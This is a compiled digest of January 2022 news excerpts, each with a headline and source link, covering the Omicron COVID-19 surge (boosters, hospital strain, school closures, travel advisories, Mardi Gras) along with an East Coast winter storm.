GIST	<p>Moderna CEO Stephane Bancel on Thursday said the efficacy of boosters against Covid-19 will likely decline over time, and people may need a fourth shot in the fall to increase their protection.</p> <p>Bancel said people who received their boosters last fall will likely have enough protection to get them through the winter, when new infections surge as people gather indoors to escape the cold.</p> <p>However, Bancel said the efficacy of boosters will probably decline over the course of several months, similar to what happened with the first two doses. The Moderna chief was interviewed by Goldman Sachs during the investment bank's health-care CEO conference.</p> <p>"I will be surprised when we get that data in the coming weeks that it's holding nicely over time — I would expect that it's not going to hold great," Bancel said, referring to the strength of the booster shots.</p> <p>An unprecedented surge of infections from the highly contagious omicron variant is currently spreading worldwide. In the U.S., the seven-day average is now more than 574,000 new cases daily, according to a CNBC analysis of data from Johns Hopkins University.</p> <p>The Moderna CEO said governments, including the U.K. and South Korea, are already ordering the doses in preparation. "I still believe we're going to need boosters in the fall of '22 and forward," Bancel said, adding that people who are older or have underlying health conditions might need annual boosters for years to come.</p> <p>"We have been saying that we believe first this virus is not going away," Bancel said. "We're going to have to live with it."</p>



Moderna published preliminary data last month that showed its currently authorized 50 microgram booster shot increased the antibodies that block infection from omicron 37-fold. A 100 microgram booster increased those antibodies 83-fold.

Booster shots are playing an increasingly important role in public health strategies to control the virus, with protection from the original two shots having taken a significant blow from omicron.

Data from the United Kingdom found that Moderna and Pfizer's two-dose vaccines are only about 10% effective at preventing symptomatic infection from omicron 20 weeks after the second dose.

The same study, published by the U.K. Health Security Agency, found that booster doses are up to 75% effective at preventing symptomatic infection two weeks after receiving the shot.

However, the efficacy of booster shots starts to decline after about four weeks, according to the study. Boosters were 55% to 70% effective at preventing infection at weeks five to nine, and 40% to 50% effective 10 weeks after receiving the shot.

Pfizer CEO Albert Bourla [told CNBC last month](#) that people will likely need a fourth dose, and the shot may be needed sooner than expected due to omicron's virulence.

Bancel, during the Goldman Sachs interview, said omicron could accelerate the transition from the acute crisis caused by the virus to an endemic phase where enough people have immune protection so that Covid isn't as disruptive to public life.

However, he also cautioned against predictions, noting that omicron, with its dozens of mutations, took most of the scientific community by surprise. The data so far indicates that omicron is more transmissible but less severe than past strains.

However, a random mutation could change the course of the pandemic again, Bancel said.

"What is totally impossible to predict, is there a new mutation coming in a day, a week, three months that is worse in terms of severity of disease," he said. "That's a piece that we'll have to just be cautious about."

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HEADLINE	<b>01/06 NY record wave of cases; fewer severe ones</b>
SOURCE	<a href="https://www.wsj.com/articles/new-york-omicron-cases-surge-mild-11641424050">https://www.wsj.com/articles/new-york-omicron-cases-surge-mild-11641424050</a>
GIST	<p>Fewer New York residents are seeing the worst outcomes of Covid-19 in its latest surge compared with <a href="#">earlier waves</a>, a potential harbinger of what other highly vaccinated parts of the country will experience, health officials say.</p> <p>At Northwell Health, New York state's largest hospital network, about 10% of recent Covid-19 patients are ending up in the ICU compared with 25%-35% in previous surges, said Mangala Narasimhan, director of critical-care services.</p> <p>Fully vaccinated patients are staying for an average of four days, Dr. Narasimhan said, compared with almost two weeks for unvaccinated patients. Patients are generally younger, and a greater share is white than during other surges, she said. Officials in the U.K. and South Africa <a href="#">have also reported lower rates</a> of serious illness from Omicron than previous strains of the virus.</p> <p>But the third big pandemic wave to hit New York is taxing healthcare providers, Dr. Narasimhan and other providers said. She said some colleagues quit in exhaustion. She ended up working over a planned vacation.</p> <p>"Mentally, it's a different thing now," she said. "We're watching this unnecessary heartbreak, and people are tired of that, too."</p>



Some school districts have canceled classes because of a shortage of bus drivers, some of whom have been infected or exposed to the virus. People have waited hours to receive rapid tests or be swabbed to get on airplanes or be cleared to return to work. In New York City, the Fire Department's Office of Medical Affairs has instructed ambulances to leave some mild Covid-19 patients at home, according to a directive reviewed by The Wall Street Journal.

The number of people hospitalized in New York state topped 10,000 on Tuesday for the first time since May of 2020, when the state was recovering from its first and most severe wave of the pandemic. Almost 19,000 people were hospitalized statewide at the peak of the first wave in April 2020, when daily confirmed cases were less than a fifth of the 77,859 reported Wednesday, but testing was far more limited. About 73% of all New York City residents are fully vaccinated, and about 27% have received an additional dose.

New York state officials have begun gathering data from hospitals to better quantify the severity of Covid-19 cases among hospitalized patients. One proxy is ICU beds: On Jan 5, 2021, 1,408 of 8,665 hospitalized patients were in the ICU, compared with 1,359 people in ICUs among the 10,867 people now hospitalized in the state.

Oren Barzilay, leader of the union that represents EMTs and paramedics working for the FDNY, has seen the increase in cases from two sides. Call volume is up, he said, and the city has directed ambulance crews not to transport potential Covid-19 patients between ages 5 and 65 who don't show signs of severe disease, like low blood-oxygen levels or high fevers.

But Mr. Barzilay said 30% of the city's EMS workforce was out sick this week, compared with 5% in mid-December. "We're trying to conserve as much manpower as possible," he said, adding that most of his members had a flulike illness that resolved at home.

In New York City, city data showed the seven-day average of new cases climbed to 31,352 on Wednesday. Before the current surge, state data show that the highest single-day number of cases in all of New York state never exceeded 20,000.

Healthcare providers say there is a stark difference inside hospitals between people who are fully vaccinated and those who aren't. But the sheer number of infections and the absence of many sick and quarantining health workers is making it hard to isolate and care for Covid-19 patients, said Craig Spencer, director of global health in emergency medicine at New York-Presbyterian/Columbia University Medical Center.

"We can't surge in the same ways we did before," Dr. Spencer said. "We have the experience. But we don't have the staff, and they're sick."

Mitchell Katz, who oversees the city's public hospital system, said staff shortages were most acute on the Sunday following New Year's Day. Elmhurst Hospital in Queens had a ratio of one nurse to every six patients on Wednesday, Dr. Katz said at a press conference, a better ratio than Sunday but still below the target of one to five.

He also said the tally of hospitalized Covid-19 patients includes not just patients who were admitted because of the disease but also those brought to the hospital for other reasons and then tested positive for the coronavirus.

Liz Fernandez, 38, tested positive for Covid-19 when she was about to give birth in Manhattan. Days before her son's birth on Dec. 21, she said, her 3-year-old son contracted Covid-19. Her husband wasn't allowed to come to the hospital because he had Covid-19 too.

"They gave him a Covid test as soon as he was born," she said of her newborn. It was like, 'Welcome to the world—here's your Covid test.'"

	<p>Ms. Fernandez and her husband, who are both vaccinated and boosted, have recovered from mild cases. Her newborn hasn't contracted the virus after Ms. Fernandez isolated with him and wore an N95 mask, including while sleeping.</p> <p>Bruce Y. Lee, a professor of health policy and management at the City University of New York, said the more mild outcomes during the Omicron surge offers a possible picture of how Covid-19 will transition <a href="#">to something seasonal</a> like the flu.</p> <p>"The outcomes aren't as bad as we saw earlier in the pandemic because the population and everyone's immune system gets more used to the virus—either through natural infection or vaccination," Dr. Lee said.</p>
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HEADLINE	<b>01/06 Chicago travel advisory against every state</b>
SOURCE	<a href="https://www.audacy.com/wbbm780/news/local/chicago-travel-advisory-every-state-territory-now-on-list">https://www.audacy.com/wbbm780/news/local/chicago-travel-advisory-every-state-territory-now-on-list</a>
GIST	<p><b>CHICAGO (WBBM NEWSRADIO)</b> -- If you have upcoming travel plans, you may want to reconsider.</p> <p>On Wednesday, the Chicago Department of Public Health added the only state and only territory that were not on its COVID-19 Travel Advisory last week – Montana and Guam – to the advisory. The move effectively expands the list to include all 49 outside states and all four U.S. territories.</p> <p>States are added to the Travel Advisory's "orange list" when COVID metrics rise above the threshold of 15 cases per day per 100,000 people. Any below that mark are on the "yellow" list, with public health officials still warning against non-essential travel. Daily COVID case rates must be below 15 per 100,000 residents for two consecutive weeks for a state to be removed from the advisory.</p> <p>The U.S. average daily case rate per 100,000 residents is 148.1 (62.2 last week). Illinois' daily case rate currently is 182.1 (87.1 last week). Chicago's daily case rate is 169.7 (140.3 last week).</p> <p>"COVID is very real, it's merciless, and unless you are fully vaccinated, your defenses against it are pretty low," said CDPH Commissioner Allison Arwady, M.D., in a statement. "You can only fully fight this virus if you're vaccinated. The evidence is overwhelming – if you are fully vaccinated and you do get COVID-19, there's very little chance you will get so ill that you require hospitalization. Your chances aren't nearly as good if you remain unvaccinated. Unvaccinated and vaccinated travelers alike should consider if their travel plans are necessary at this time."</p> <p>Under the Travel Advisory, unvaccinated travelers should be tested for COVID before and after travel from any state on the advisory list and should quarantine upon arrival in Chicago. For domestic travel, the quarantine and testing recommendations do not apply to fully vaccinated travelers.</p>
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HEADLINE	<b>01/06 Pandemic wave looks different than before</b>
SOURCE	<a href="https://www.msn.com/en-us/news/us/in-the-nation-s-hospitals-this-covid-wave-is-different/ar-AASvF91?ocid=uxbndlbing">https://www.msn.com/en-us/news/us/in-the-nation-s-hospitals-this-covid-wave-is-different/ar-AASvF91?ocid=uxbndlbing</a>
GIST	<p>The number of Americans hospitalized with covid-19 reached more than 126,000 this week — the highest level in a year. But this wave of the pandemic looks different from what came before, with dueling variants on the move.</p> <p>This time, a majority of patients counted as covid cases in some hospitals were initially admitted for other reasons, their covid infections discovered incidentally. And hospital staffs are stretched more than ever, with nearly 1 in 4 medical centers reporting this week they have a "critical" staffing shortage, the highest proportion of the pandemic.</p>

In Los Angeles, where the fast-spreading omicron variant reigns, roughly two-thirds of covid patients in the county's public hospitals were initially admitted for other causes, officials said Wednesday.

But at CoxHealth in Springfield, Mo., where officials say the older delta variant remains a ferocious threat, the coronavirus remains the immediate cause for 81 percent of covid hospitalizations.

"We are planning on a pretty scary scenario: volumes increasing and being short-staffed," said Steve Edwards, the hospital's CEO, warning that omicron could soon arrive and sicken his workers.

Many hospitals are reporting record surges of covid cases even as staff shortages hit their highest levels nationally during the pandemic, according to federal health data reviewed by The Washington Post — a one-two punch that is forcing hospitals to turn away ambulances, cancel procedures and warn would-be patients to stay away because they can't promise prompt care.

While most hospitalized patients are adults, the number of pediatric covid inpatients has doubled since Christmas to a seven-day average of 3,800 children.

But the emerging picture varies dramatically from one region to the next, according to interviews with hospital leaders and health workers across 18 states. It ranges from omicron epicenters such as New York City, where many patients aren't aware they're infected until testing positive while visiting the hospital for other procedures, to Michigan and Minnesota, where health workers continue to treat patients fighting for survival against the more severe delta variant.

The Centers for Disease Control and Prevention projects that delta may have accounted for as much as 41 percent of covid cases across parts of the Midwest last week and as little as 1 percent of cases in Texas and surrounding states, although the CDC has repeatedly revised its national map of variant spread in recent weeks, struggling to keep up with the fast-moving omicron.

In Rhode Island this week, 54 percent of hospitals reported a "critical" staff shortage. But just 20 percent of Florida and Texas hospitals reported similar shortages, according to data collected by the Department of Health and Human Services.

Around the nation, front-line workers said the surge of cases and hospitalizations — coupled with the continued frustration of treating patients who refuse to get vaccinated or who berate health workers for encouraging them to take protections — has left the system vulnerable to the omicron wave, particularly because the delta variant never really left.

"It's putting a further strain on an already incredibly strained nursing workforce," said Kevin Romanchik, an emergency room and critical care nurse who works for the University of Michigan Health System, warning that the rising demands are "directly impacting our ability to care for patients in a safe manner."

The fragile situation has prompted dozens of health-care organizations to take out full-page newspaper ads in [Illinois](#), [Minnesota](#) and Wisconsin begging residents to get vaccinated, wear masks and take other precautions to avoid contracting covid.

"We now have more COVID-19 patients in our hospitals than ever before. And the overwhelming majority are unvaccinated," [read](#) one ad sponsored by Cleveland-area health systems last month.

Just last summer, staff at several of those Cleveland health systems hoped they had nearly beat back the pandemic; at University Hospitals, the daily count of covid patients dwindled to a few dozen in July. But infections steadily rebounded, with 343 cases at the hospital by Dec. 14, driven by delta — and then jumped again, hitting an all-time high of 505 cases last week, as omicron raced through the region.

"We were coping with our delta surge, and omicron spread like wildfire," said Keith Armitage, an infectious-disease doctor at University Hospitals.

Armitage said there were 486 covid patients in his hospital Wednesday, which he said represented “three buckets” of roughly equal size.

“First ... patients admitted primarily due to an illness, covid-19,” Armitage said.

Second, “patients who have an underlying condition like heart failure, asthma, [chronic obstructive pulmonary disease], who get covid-19, which causes an exacerbation of their underlying condition,” Armitage said. “The third bucket is people who come in for something completely unrelated” and then test positive in the hospital.

The fact that patients are showing up at hospitals with other ailments and injuries only to test positive later for covid is another indicator that omicron causes less serious illness, especially in people who are vaccinated, experts say.

Armitage said he was heartened that omicron was leading to milder cases compared with prior variants, which he ascribed to more widespread access to vaccines and omicron’s more limited ability to attack the lungs. But Armitage warned that focusing on omicron’s relatively milder symptoms ignored the “net effect” of so many cases.

Given “how crowded the ER is, and how full the hospital beds are ... the short-term concern on the health-care system is highly justified,” he said.

### **A changing picture**

Hospitals are not required to publicly report how many patients are admitted with covid as the primary diagnosis, and many organizations contacted by The Post — including large, multistate health systems such as Dignity Health in the West, Advocate Aurora Health in the Midwest and Mayo Clinic, with campuses around the nation — said they had not been monitoring that breakdown or could not easily produce it. Hospital associations in Minnesota, Ohio, Vermont and other states also said they were not tracking why patients needed to be hospitalized for covid.

But amid omicron’s rapid advance, some hospitals have taken a fresh look at why patients are again filling their wards, trying to better understand the care and equipment necessary to fight the new surge, after earlier outbreaks sparked scrambles to find ventilators and secure other lifesaving interventions.

Katie Veron Taylor, medical director of infection prevention at Our Lady of the Lake hospital in Baton Rouge on Wednesday calculated that about one-third of the hospital’s 115 covid patients had asymptomatic or mild cases and had been admitted for unrelated reasons.

“Am I worried about those? Not really,” she said. “It does make me wonder how many incidental cases we had of delta, and I don’t think we were really focused on that back then.”

Jackson Health System in Miami on Wednesday announced that the hospital had 468 covid patients, although about 50 percent were admitted primarily for reasons not related to covid. The total caseload slightly exceeds the hospital’s prior peak of 445 covid patients in August, when the delta variant was surging in Miami-Dade County, hospital spokeswoman Lidia Amoretti wrote in an email — but nearly three-quarters of those patients were admitted primarily for covid.

Officials at CarePoint, which operates three hospitals in northern New Jersey, say their surge of covid patients has included a significant increase in those with secondary diagnoses. Such patients make up slightly less than half of patients on the hospitals’ wards. Some are completely unrelated, such as a girl who fell on a playground and broke her arm but tested positive with mild symptoms of covid.

As evidence has mounted that many people infected with omicron were initially hospitalized for other reasons, critics have argued that health-care leaders and federal officials have obfuscated why hospitalization numbers have risen in recent weeks.

“Looks like the conspiracy theorists who are now banned from Twitter were right all along, the official numbers were fake,” Tucker Carlson said on his eponymous Fox News show this week. “Those kids were in the hospital for broken bones and appendicitis, not covid.”

More than a dozen hospital leaders who spoke to The Post said much of the scrutiny over why covid patients are being hospitalized is misplaced.

“While it’s easy to say, oh, these admissions are not related to covid, it’s not quite the whole story,” said John Rimmer, CarePoint’s chief medical officer and emergency department director, adding that the virus may have worsened a preexisting medical condition such as asthma or diabetes, leading to patients’ hospitalization.

Rimmer and colleagues also listed examples of coronavirus-infected patients needing to be hospitalized at CarePoint — eventually. One older woman was admitted after she woke up in the middle of the night, dizzy from her coronavirus-induced fever, and then fell over, breaking her hip. A diabetic patient was hospitalized for high blood sugar after failing to take insulin while feeling sick from covid.

### **‘Finite resources’**

The surging number of cases has collided with a separate trend: a worsening hospital [staffing crunch](#) that is exhausting workers, fueling rising staff turnover and leading to delays in care.

Hospitals have warned that more of their workers are falling ill with infections from omicron, constraining their capacity to care for patients. That prompted the CDC last month to accelerate the timeline for health workers to return after infections, saying that infected workers could return immediately in a “crisis” situation.

Meanwhile, nurse unions this week asked a federal appeals court to force the Occupational Safety and Health Administration to issue [permanent workplace safety standards](#) to protect health workers from covid, saying that some staff members have quit because they feel at risk.

“Ventilators, needles or syringes ... those things can be ordered and restocked,” said Romanchik, the University of Michigan nurse. “Nurses and the care we provide are finite resources. We’re not just a number at the bottom line that you can replace.”

Health-care organizations throughout the nation have reported growing staffing challenges as the pandemic persists. Across the West, 28 percent of hospitals told federal officials they had critical staffing shortages this week — the region’s highest level of the pandemic. The Midwest (22 percent) and the Northeast (17 percent) also reported their largest shares of hospitals experiencing staffing crises since the start of the pandemic.

In Vermont, where 52 percent of hospitals reported a critical staffing shortage, the problem stemmed from a “crisis of rural health equity” that predated covid, one researcher said.

“Vermont entered the pandemic with long-standing workforce shortages, and the last several months have only exacerbated the challenges facing health systems,” said [Anne N. Sosin](#), a health policy researcher at the Nelson A. Rockefeller Center at Dartmouth College.

Sosin said Vermont’s hospitals had persistently struggled to recruit specialists and other staff, and she was concerned that workers who quit during the pandemic could not be easily replaced.

“When we lose health-care workers from our rural region, it’s not clear that we’ll be able to fill those positions again,” she said.

But in Rhode Island — which reported the nation’s worst staffing shortage — health workers characterized the shortfalls as unprecedented.

	<p>“I’ve never seen this before, in the five years I’ve worked here,” said Brooke Huminski, a clinical social worker at Butler Hospital in Providence, R.I.</p> <p>According to Huminski, the hospital had four social workers to assess patients in the hospital’s psychiatric emergency room during evening shifts — but after departures and an inability to find replacements during the past year, she’s the only one left.</p> <p>“That’s created a problem — now the doctors need to pick up more of the work, which is interfering with patient flow ... and of course, raising my own stress levels a bit,” she said.</p> <p>Meanwhile, health workers are attempting to respond to the coronavirus surge even as the fast-spreading omicron variant encroaches on their personal lives. Huminski’s vaccinated 98-year-old grandfather was admitted to a hospital Tuesday after being diagnosed with covid for the first time.</p> <p>“It’s a weird time to be worrying about him and also trying to function,” Huminski said.</p>
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HEADLINE	<b>01/06 Joy-and caution-kicks off in New Orleans</b>
SOURCE	<a href="https://apnews.com/article/coronavirus-pandemic-lifestyle-health-new-orleans-parades-9ca8cc43c0c093dc40e6e1198bb34eea">https://apnews.com/article/coronavirus-pandemic-lifestyle-health-new-orleans-parades-9ca8cc43c0c093dc40e6e1198bb34eea</a>
GIST	<p>NEW ORLEANS (AP) — Vaccinated, masked and ready-to-revel New Orleans residents began ushering in Carnival season Thursday with a rolling party on the city’s historic streetcar line, an annual march honoring Joan of Arc in the French Quarter and a collective, wary eye on coronavirus statistics.</p> <p>Carnival officially begins each year on Jan. 6 — the 12th day after Christmas — and, usually, comes to a raucous climax on Mardi Gras, or Fat Tuesday, which falls on March 1 this year. Thursday’s festivities came two years after a successful Mardi Gras became what officials later realized was an early Southern superspreader of COVID-19; and nearly a year after city officials canceled 2021 parades.</p> <p>This year, the party is going on despite rapidly rising COVID-19 cases driven by the omicron variant.</p> <p>“Without a doubt, we will have Mardi Gras 2022,” Mayor LaToya Cantrell said during a Thursday morning kickoff event, where participants removed protective masks long enough to sample slices of king cake, a seasonal delicacy.</p> <p>“Having a Mardi Gras, and a successful and healthy Mardi Gras, is as important to this region’s mental health as it is important to the economic health of this city,” added James Reiss, an official with the Rex Organization, a 150-year-old Carnival group.</p> <p>Still, in a season known for excess, the virus prompted restraint. At Bywater Bakery, owner Chaya Conrad usually has a daylong block party with live music to mark the beginning of Carnival season. After a “virtual” recorded concert last year, she had planned to return to the big block party Thursday. But after the virus sickened many of her employees over Christmas, she canceled the extravaganza. Instead, a piano player on a flatbed truck played as customers snapped up king cakes.</p> <p>“I don’t need the musicians getting sick. I don’t need my customers getting sick and I don’t need my other half of my staff getting sick,” Conrad said. “When this dies down then we’ll have the big block party.”</p> <p>In what has become a traditional kickoff to the season, a group known as the Phunny Phorty Phellows boarded one of the historic St. Charles line streetcars Thursday night along with a small brass band. Vaccinations and protective masks were required and seating on the streetcar was limited.</p> <p>Larger, more opulent parades will follow in February as Mardi Gras nears.</p>

“It was certainly the right thing to do to cancel last year,” said Dr. Susan Hassig, a Tulane University epidemiologist who also is a member of the Krewe of Muses and rides each year on a huge float in the Muses parade. “We didn’t have vaccines. There was raging and very serious illness all over the place.”

Now, she notes, the vaccination rate is high in New Orleans, where 81% of all adults are fully vaccinated, according to the city’s statistics.

And while people from outside the city are a big part of Mardi Gras crowds, Cantrell’s anti-virus measures include proof of vaccination or a negative test for most venues.

Sharing Hassig’s cautious optimism is Elroy James, president of the Zulu Social Aid and Pleasure Club, a predominantly Black organization whose Mardi Gras morning parade is a highlight of Carnival. Early in the pandemic, COVID-19 was blamed for the death of at least 17 of Zulu’s members.

“I think most krewes, particularly, I know, for Zulu, we’ve been very proactive, leaning in, with respect to all of the safety protocols that have been in place since the onset of this thing,” James said Wednesday. “Our float captains are confirming our riders are vaccinated. And part of the look for the 2022 Mardi Gras season is face masks.”

Reasons for concern remain in a state where the pandemic has claimed more than 15,000 lives over the past two years. Louisiana health officials reported 1,412 hospitalizations as of Wednesday — up from fewer than 200 in mid-December.

Asked whether Carnival krewes should be making contingency plans for their balls in case of future restrictions, Gov. John Bel Edwards said he is not currently planning restrictions on gatherings. But he added that people should be careful about spending time amid large groups of unmasked people.

“Does that apply to a Mardi Gras ball? I think its pretty self-evident that it does,” Edwards said.

Muses founder Staci Rosenberg said the krewe had planned to gather in a bar near the streetcar route to await the Phunny Phorty Phellows. The virus surge prompted a move outside.

Hassig says she won’t attend indoor gatherings. She, is, however, determined to ride in the Feb. 24 parade — vaccinated, wearing an N95 mask and knowing that outdoor activities are safer.

Hassig rode in her first parade in 2006 as the city struggled to recover from Hurricane Katrina. Now, she wants to participate in the recovery from the economic ravages of the virus.

“It’s incredibly important, financially, for the city that this go well,” she said.

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HEADLINE	<b>01/07 Official: Calif. surge could ease by Feb.</b>
SOURCE	<a href="https://apnews.com/article/coronavirus-pandemic-health-business-california-pandemics-b6738f7feda2aa4f28d1a4ad72ca6c6b">https://apnews.com/article/coronavirus-pandemic-health-business-california-pandemics-b6738f7feda2aa4f28d1a4ad72ca6c6b</a>
GIST	<p>LOS ANGELES (AP) — The California surge in coronavirus cases has shut down schools and sidelined thousands of police, firefighters, teachers and health care workers but officials are hoping it will be short-lived.</p> <p>“My hope is that, you know, by the time we get to February, we’re on the downside of seeing that massive amount of community transmission,” Los Angeles County Public Health Director Barbara Ferrer said Thursday.</p> <p>California’s number of confirmed COVID-19 cases has soared five-fold in two weeks and hospitalizations have doubled. LA County, the state’s largest with 10 million residents, reported more than 37,000 new cases on Thursday, which was the highest level since the pandemic started.</p>



The jump is driven by the omicron variant, first detected in California in late November. Health officials say close contact during holiday gatherings, especially among unvaccinated people, has helped spread the highly infectious mutation.

But vaccinations and booster shots were protecting many people from severe illness, health officials said. Fewer than half of hospital patients with COVID-19 were there because of the infection. Most were hospitalized with unrelated illnesses, the county said.

“We do see this as a surge that will be, it is our hope and belief, short-lived,” Los Angeles Police Chief Michel Moore said Thursday as the city announced that the virus had sidelined more than 800 police and fire personnel.

Moore said it was taking an average of three weeks for officers struck with COVID-19 to return to work.

San Francisco reported on Tuesday that 167 officers were quarantined and 135 firefighters — both representing about 8% of their forces — were absent due to COVID-19. San Diego had nearly 200 officers and other personnel out Tuesday, reflecting a similar percentage of the department.

The surge also has led to hourslong waits for COVID tests as parents prepared to send their children back to school after the winter break. While millions of test kits have been distributed to counties, Gov. Gavin Newsom and state health officials have been criticized for backlogs.

Hundreds waited in line Thursday morning, some coughing and sneezing, at a test site in Long Beach.

“I think it’s very much going out of control,” said Salvador Barragan after self-administering his nasal swab. “I hope it calms down.”

Not only are lab tests harder to get amid record demand, officials say they’re taking longer to process because COVID-19 also has depleted the ranks of technicians.

One processing lab used by Santa Clara County has been sending samples to Texas due to staff shortages, Dr. Jennifer Tong, associate chief medical officer at Santa Clara Valley Medical Center, told the Bay Area News Group.

Off-the shelf home tests also are in short supply.

The virus surge has been straining school systems. District officials said all 54 schools in West Contra Costa County, east of San Francisco, will be closed Friday and Monday.

More than 5,000 students have been absent each day this week, or almost a quarter of those enrolled in the district of 28,000 students and the district believes the coronavirus is to blame, spokesman Ryan Phillips said.

One in six of San Francisco’s 3,600 teachers were out Thursday. Even with administrators, substitutes and others stepping in there weren’t enough teachers for every classroom, Superintendent Vince Matthews.

“This is the most challenging time in my 36 years as an educator,” Matthews said during a break from filling in as a sixth-grade science teacher. “We’re trying to educate students in the middle of a pandemic while the sands around us are consistently shifting.”

Nearly 900 teachers and aides in San Francisco called in sick Thursday. A group of educators had called for a sickout, arguing that the school district hadn’t done enough to protect them during the surge. They are asking for more testing and for all students to wear medical-grade masks.

	<p>It wasn't clear how many educators who called in sick took part or had the virus or were out caring for family members.</p> <p>At Mission High School, student Jazmine Keel said more than 70 teachers joined the protest.</p> <p>"There barely were even enough subs to take attendance," she told KTVU-TV, although district officials said classes weren't interrupted.</p> <p>A similar sickout was planned for Friday in the Oakland Unified School District. In an online post cited by the San Francisco Chronicle, organizers said Oakland schools "are facing the greatest crisis in living memory."</p> <p>"Staff and students sit in half-empty classrooms terrified that they will be the next to get infected and bring the disease home to their loved ones," the press release said.</p>
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HEADLINE	<b>01/07 East coast faces possible bomb cyclone</b>
SOURCE	<a href="https://www.foxnews.com/us/east-coast-braces-for-possible-bomb-cyclone-that-could-make-commute-treacherous">https://www.foxnews.com/us/east-coast-braces-for-possible-bomb-cyclone-that-could-make-commute-treacherous</a>
GIST	<p>Much of the East Coast is waking up Friday to snowfall that may look picturesque from through your window, but it becomes dangerous if you have to <a href="#">commute to work</a>.</p> <p><a href="#">Fox 5 NY reported</a> that the National Weather Service is calling for the storm system to impact New Jersey, New York City and Connecticut. A Winter Weather Advisory is in place until noon on Friday.</p> <p>The New York City Department of Health and Mental Hygiene announced that COVID-19 vaccine and testing sites will open at noon—to avoid the worst of the storm.</p> <p>"Snow has spread across the entire area," NWS New York tweeted at 3 a.m. ET. "Air and Roadway temperatures are mostly near or below the freezing mark. Travel has become very hazardous across all area roadways."</p> <p>The snow was expected to start on Thursday night and stretch into Friday. The New York/New Jersey metro area is expecting up to five inches of snow. The Metropolitan Transportation Authority prepared for the storm and dusted off its "de-icer car" and a snowblower train that uses a jet engine to remove snow from the tracks.</p> <p>Eric Adams, the city's new mayor, took to Twitter Thursday to say teams are "working through the night to meet this winter weather head-on. My team and I will be convening at 4 AM to review our storm response in real time and direct resources wherever needed."</p> <p>A winter storm hit parts of the South on Thursday, bringing freezing rain and sleet to Tennessee and Kentucky. Nashville had 6.3 inches of snow, which broke the city's 1977 record of four inches.</p> <p>Gov. Andy Beshear, the Democrat, declared a state of emergency due to the snowfall and urged everyone in his state to stay off the roads. Crashes were reported on roads across the state. Beshear closed state offices at noon Thursday and later extended the closure through Friday.</p> <p>The largest snowfall by Thursday evening was 8 to 9 inches in a swath from Elizabethtown to Bardstown and Nicholasville to Lexington, said meteorologist Brian Schoettmer of the weather service's Louisville office. Eastern Kentucky recorded 6 to 8 inches, and far western Kentucky had about 3 inches.</p> <p>AccuWeather, the forecasting service, said the eastern part of the U.S. could experience the season's first bomb cyclone—which is when heavy precipitation and powerful winds are produced by a quick drop in barometric pressure, Reuters reported.</p>

	"The farther north you go, the bigger the snow accumulations," Bernie Rayno, AccuWeather's chief video meteorologist, said.
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HEADLINE	<b>01/06 Despair: schools return to remote learning</b>
SOURCE	<a href="https://apnews.com/article/coronavirus-pandemic-health-education-detroit-cde614839b15d02a594dab1e690c7d46">https://apnews.com/article/coronavirus-pandemic-health-education-detroit-cde614839b15d02a594dab1e690c7d46</a>
GIST	<p>DETROIT (AP) — Parent Latonya Peterson sums up her frustration over Detroit schools returning — at least temporarily — to virtual learning in three short words: “I hate it.”</p> <p>Facing a surge in COVID-19 cases, the Detroit district this week joined a growing number of others in moving classes online after the winter break. The shift involving 50,000 students once again leaves parents juggling home and work schedules around the educational needs of their children.</p> <p>A single parent who works more than 60 hours each week at two jobs, Peterson sometimes had to miss work to help her teenage son during more than a year of online learning.</p> <p>“I will have to take time off, but I’m looking at how long this is going to last. You only get so many off days and so many paid time off days,” Peterson said Wednesday, a day after the district announced that students would resume classes at home with laptops through at least Jan. 14.</p> <p>The vast majority of U.S. districts appear to be returning to in-person learning, but other large school systems including those in Newark, New Jersey, Milwaukee and Cleveland have gone back <a href="#">to remote learning</a> as infections soar and sideline staff members. Dozens of smaller districts have followed, including many around Detroit, Chicago and Washington.</p> <p>The disruptions also raise alarms about risks to students. Long stretches of remote learning over the last two years have taken a toll, leaving many kids with academic and mental health setbacks that experts are still trying to understand.</p> <p>President Joe Biden, who campaigned on a promise to reopen classrooms, is pressing schools to remain open. With vaccines and regular virus testing, his administration has said there’s no reason to keep schools closed.</p> <p>“Look, we have no reason to think at this point that omicron is worse for children than previous variants,” Biden told reporters on Tuesday. “We know that our kids can be safe when in school.”</p> <p>But the reality for some districts is not so simple: Testing supplies have been scarce, and many districts face low vaccine uptake in their communities. In Detroit, just 44% of residents 5 and older have received a vaccine dose, compared with a statewide rate of 63%.</p> <p>In a letter to parents, Detroit Superintendent Nikolai Vitti said that in light of low vaccination rates among students and families, a return to the classroom would lead to “extreme levels of positive cases.”</p> <p>“The only way we’re going to get to the other side of this pandemic is if we move to higher rates of vaccination,” Vitti said.</p> <p>The closures are often driven by waves of teachers calling in sick. More than a third of Philadelphia’s 216 public schools have switched to remote learning through at least Friday, drawing an outcry from families that were given little time to prepare.</p> <p>On Thursday, Chicago students remained <a href="#">out of school for a second straight day</a> after school leaders failed to reach an agreement with the teachers union over virus safety protocols. The union wants to revert to remote instruction because of the infection surge.</p>

In Detroit, both Peterson and her son, Joshua Jackson, 16, are vaccinated. Joshua would rather stay in-person and said it was more difficult for him to focus in a virtual classroom.

“I feel like I learned less,” the high school junior said. “I’m worried that we won’t go back to class. They (the district) did it before and said it only would be a short while. It turned out to be the whole school year.”

Officials in districts that are returning to online instruction insist the move is only temporary, with most intending to go back to in-person classes within a week or two. As infections reach record levels in some areas, some parents say it’s the right move.

Nicole Berry’s three children returned to Detroit classrooms last fall, but she has been keeping them home since she caught COVID-19 herself around Thanksgiving and got scared. Detroit gives families the option of full-time remote learning.

Berry, 48, juggles teaching them on her own while also working more than 40 hours per week.

“My children weren’t going back anyway. I’d already made the decision,” she said.

In Chicago, Jennifer Baez said she hopes the district will allow remote learning until the surge slows down. She and one of her sons got sick recently with COVID-19. She is not certain her kids will keep their masks on or that other precautions are in place.

Baez works remotely as a legal secretary. Because of her youngest son’s developmental delays, she is forced to sit with him for much of the school day in his general education classes, where he typically has a classroom aide.

“You just kind of learn to roll with the punches. I feel like as a mother we adapt,” Baez said. “If I got to be a lunch lady and a gym teacher and whatever else on top of my law office job, we just do it. Same way we’ve been doing it since 2020.”

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HEADLINE	<b>01/06 Seattle leaders criticize SPD ruse</b>
SOURCE	<a href="https://mynorthwest.com/3302405/seattle-mayor-bruce-harrell-spd-proud-boys-protest-hoax-unacceptable/">https://mynorthwest.com/3302405/seattle-mayor-bruce-harrell-spd-proud-boys-protest-hoax-unacceptable/</a>
